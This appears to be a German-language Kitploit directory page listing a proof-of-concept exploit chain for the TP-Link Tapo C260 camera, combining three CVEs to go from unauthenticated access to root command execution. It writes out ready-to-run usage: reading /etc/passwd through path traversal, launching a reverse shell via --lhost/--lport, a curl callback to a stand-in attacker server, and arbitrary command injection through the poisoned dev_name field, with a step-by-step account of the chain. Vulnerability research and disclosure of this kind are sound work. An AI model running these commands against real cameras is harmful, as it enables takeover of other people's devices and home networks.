Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
tapo-c260-rce — PoC-Exploit-Kette für die TP-Link Tapo C260 Kamera — CVE-2026-0651/0652/0653. Forschung von @spaceraccoon. | Kitploit
Tools/GitHubGitHub/l0lsec/tapo-c260-rce
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationHardware-HackingPenetrationstestsCommand and ControlHardware- & IoT-SicherheitFirmware-Analyse
GitHubl0lsec/tapo-c260-rce
1311vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

tapo-c260-rce

PoC-Exploit-Kette für die TP-Link Tapo C260 Kamera — CVE-2026-0651/0652/0653. Forschung von @spaceraccoon.

Repository anzeigen

Tapo C260 RCE-Kette (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653)

Proof-of-Concept-Exploit-Kette für die TP-Link Tapo C260 IP-Kamera, die durch die Verkettung von drei Schwachstellen, entdeckt von Eugene Lim (Spaceraccoon), RCE von nicht authentifiziert bis root erreicht.

Danksagung

Die gesamte Schwachstellenforschung und -entdeckung stammt von Eugene Lim (@spaceraccoon).

Dieses Repository ist eine PoC-Implementierung basierend auf seinem öffentlichen Writeup. Wenn du das nützlich findest, kauf dir sein Buch: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).

Schwachstellenkette

CVETypAuswirkung
CVE-2026-0651Path Traversal / Lokale Datei-OffenlegungBeliebige Dateien über /%2e%2e%2f im HTTP-GET-Handler lesen
CVE-2026-0652Beliebiger KonfigurationsschreibzugriffGast-Benutzer können über JSON-Key-Manipulation in der Cloud-API in jeden Konfigurationspfad schreiben
CVE-2026-0653Command Injection / Privilege Escalationset_region_code_handle übergibt den unsanitisierten dev_name-Konfigurationswert an popen()

Kill Chain

root@kitploit:~
LFD (Gerätekonfiguration lesen) --> Konfigurationsschreiben (dev_name vergiften) --> Region-Code-Handler auslösen --> popen() --> Shell

Anforderungen

  • Python 3.8+
  • Netzwerkzugriff auf die Kamera (für LFD) oder ein gültiges TP-Link-Cloud-Auth-Token (für RCE)
  • Gast-Level-Anmeldedaten sind für die vollständige Kette ausreichend

Installation

root@kitploit:~
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt

Verwendung

Lokale Datei-Offenlegung (CVE-2026-0651)

Beliebige Dateien von einer Kamera im lokalen Netzwerk lesen:

root@kitploit:~
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd

Vollständige RCE-Kette (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653)

root@kitploit:~
# Reverse Shell
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --lhost <YOUR_IP> \
  --lport 4444

# Nur Callback (curl-Ping)
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --callback http://your-server.com/pwned

# Benutzerdefinierter Befehl
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --cmd "id > /tmp/pwned"

So funktioniert es

  1. Vergiften — Sendet eine setLedStatus-Anfrage mit manipulierten JSON-Keys, die eine Shell-Metazeichen-Payload in den Konfigurationspfad tp_manage/info/dev_name auf dem Gerät schreibt.

  2. Auslösen — Sendet eine set_region_code-Anfrage. Der Handler liest dev_name aus der Konfiguration und interpoliert ihn ohne Sanitisierung in einen popen()-Aufruf, wodurch der injizierte Befehl ausgeführt wird.

  3. Shell — Der Angreifer erhält einen Callback oder eine Reverse Shell.

Betroffene Firmware

  • TP-Link Tapo C260 (Firmware vor dem Patch)
  • Möglicherweise andere Tapo-Modelle, die dieselbe /bin/main-Omnibus-Binärdatei verwenden

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren sind nicht für Missbrauch verantwortlich. Hol immer eine ausdrückliche Genehmigung ein, bevor du Tests gegen ein Gerät durchführst, das du nicht besitzt.

Referenzen

  • Original-Writeup — Spaceraccoon
  • Kennedns Tapo-Protokollforschung
  • TP-Link-Sicherheitshinweis
Tool herunterladen